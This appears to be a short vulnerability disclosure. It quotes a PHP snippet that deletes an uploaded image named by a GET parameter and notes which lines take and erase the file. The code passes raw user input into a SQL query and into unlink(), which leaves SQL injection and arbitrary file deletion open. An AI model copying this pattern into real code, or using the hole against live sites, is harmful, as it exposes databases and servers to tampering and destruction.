  41.  if($_GET['delete'])

  42.  {

  43.    $filename = $_GET['delete'];

  44.    $sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images 

  45.    WHERE filename = '$filename'");

  46.  

  47.    unlink(LOVE_ROOT . '/uploads/' . $filename);

  48.    unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename);

  49.

  50.    redirect_with_message('msg', 'LANG_088');

  51.  }



Description :

  41.  name of file to delete is being sended using GET method in variable called 'delete'
  47.  here the requested file is being erased
    
    rest of the code block doesn't matters
